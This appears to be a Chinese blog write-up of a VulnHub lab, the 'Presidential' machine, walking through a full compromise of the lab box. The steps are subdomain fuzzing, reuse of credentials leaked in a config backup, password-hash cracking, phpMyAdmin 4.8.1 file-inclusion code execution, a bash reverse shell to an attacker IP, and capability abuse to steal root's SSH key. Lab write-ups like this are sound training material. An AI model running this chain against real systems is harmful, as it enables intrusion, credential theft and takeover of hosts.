Presidential靶机总结

Presidential靶机渗透总结

靶机下载地址:
https://download.vulnhub.com/presidential/Presidential.ova

  1. 打开靶机,使用nmap扫描出靶机的ip和所有开放的端口
    可以看到靶机开放了80端口和2082端口
    在这里插入图片描述
    使用-sV参数查看详细服务
    80端口是http服务
    2082端口是ssh服务
    在这里插入图片描述
    那么我们先根据80端口打开网站在这里插入图片描述

  2. 网站上没有发现可以利用的漏洞点,源代码也没有提示的信息
    那么我们进行信息收集,目录爆破一波
    并没有发现有用的信息
    在这里插入图片描述
    我看网上目录爆破出一个config.php.bak文件,我这里可能是字典不行
    这是一个数据库的配置的备份文件

    $dbUser = "votebox";
    $dbPass = "casoj3FFASPsbyoRP";
    $dbHost = "localhost";
    $dbname = "votebox";
    

    在这里插入图片描述
    知道数据库的账户密码,但是不知道是什么数据库,也没有开放对应的端口,所以也无法登录,只能使用这个密码去尝试登录2082端口的ssh服务

    登录失败,允许限制在这里插入图片描述

  3. 目录爆破无法获得有用的信息,经过发现网站绑定了邮箱,很有可能是域名在这里插入图片描述
    将域名添加到hosts文件在这里插入图片描述
    再次打开网站
    在这里插入图片描述
    通过域名进行目录爆破,还是没有发现有用的信息
    在这里插入图片描述
    既然域名无法出结果,那么尝试去爆破子域名

    wfuzz -H 'HOST:FUZZ.votenow.local' -u 'http://192.168.11.135' -w /home/kali/Desktop/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 854,45
    

    这个字典是网上找的
    字典下载地址: https://github.com/danielmiessler/SecLists

    成功爆破出一个子域名,datasafe.votenow.local在这里插入图片描述
    将子域名添加到hosts文件中,然后根据子域名打开网站,发现是phpmyadmin
    并且使用前面的config.php.bak文件里面的账号成功登录
    用户名: votebox
    密码: casoj3FFASPsbyoRP在这里插入图片描述
    在这里插入图片描述

  4. 接下来就是根据新网站找到漏洞利用点
    在votebox数据库的users表里面发现新用户

    用户名: admin
    密码: $2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
    

    在这里插入图片描述
    密码看起来就是加密的,使用john工具进行解密

    john --wordlist=/usr/share/wordlists/rockyou.txt hash
    

    hash文件里面放的就是密码
    成功破解出密码: Stella
    在这里插入图片描述
    但是用户名admin密码Stella,无法登录phpmyadmin,也无法登录ssh,先跳过这个账户
    继续找phpmyadmin上有用的点在这里插入图片描述
    在这里插入图片描述

  5. 网页上暴漏出phpmyadmin的版本,4.8.1在这里插入图片描述
    利用searchsploit直接搜索phpmyadmin得到漏洞在这里插入图片描述
    在这里插入图片描述
    主要使用这个44928.txt,第一个44924.txt我试了下就只有文件包含,并且针对windows版本
    44928.txt可以进行远程代码执行
    在这里插入图片描述
    具体使用方法也在文件中写着,使用sql语句执行select ‘<?php phpinfo();exit;?>’ 这个payload

    然后远程包含session文件

    我们试一下,先执行sql语句在这里插入图片描述
    找到phpmyadmin的cookie值,这个值是session文件的文件名
    sess_ls7k5tk0ham4ls298ad3sega9cjgesup
    在这里插入图片描述
    然后利用poc中的url去访问,这里注意sessions要变成session,poc链中给的是错误的
    后面替换成session文件

    http://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_ls7k5tk0ham4ls298ad3sega9cjgesup
    

    成功解析
    在这里插入图片描述

  6. 改写poc,让它执行php反弹shell

    select '<?php system("bash -i >& /dev/tcp/192.168.11.131/4444 0>&1");exit;?>'
    

    这里需要注意,因为是包含session文件,而session文件存储在cookie中,因此需要重新打开浏览器,重新登录,使用新的cookie来进行文件包含,否则不会执行反弹shell代码在这里插入图片描述
    首先我尝试了所有会的提权方法,sudo滥用,suid提权,密码覆盖,计划任务,脏牛等
    并没有可以使用的提权方法

    然后换个思路
    之前我们获得了一个admin用户,密码Stella,这里可以切换到admin用户在这里插入图片描述
    在admin用户的家目录下,发现了user.txt和notes.txt在这里插入图片描述
    这里给到了提示, 使用新命令备份和压缩敏感文件
    获取可以利用这个提示来达到提权的作用在这里插入图片描述

  7. 根据提示,我们需要先找到那个新命令
    这里网上别人的办法是先通过一个新的提权方式
    capabilities提权

    查找:/usr/sbin/getcap -r / 2>/dev/null
    

    然后发现有个tarS的命令,很像备份和压缩的新命令在这里插入图片描述
    这个新命令的使用方法,也给出了在这里插入图片描述
    我们尝试去将root目录给压缩

    tarS -zcvf /tmp/root.tar /root
    

    在这里插入图片描述

    切换到tmp目录
    cd /tmp
    
    解压root.tar
    tar -zxvf ./root.tar
    

    在这里插入图片描述
    在root目录下成功获得了flag在这里插入图片描述

  8. 只是找到了flag,但是我们并没有获取到root的权限
    这里root目录下的.ssh目录里面存放了私钥
    可以利用ssh的私钥登录在这里插入图片描述
    先将id_rsa复制一份出来
    然后权限设置为700,必须是700
    最后利用-i参数进行ssh得到私钥登录

    chmod 0700 id_rsa
    ssh -i id_rsa root@192.168.11.135 -p 2082
    

    成功提权至root在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值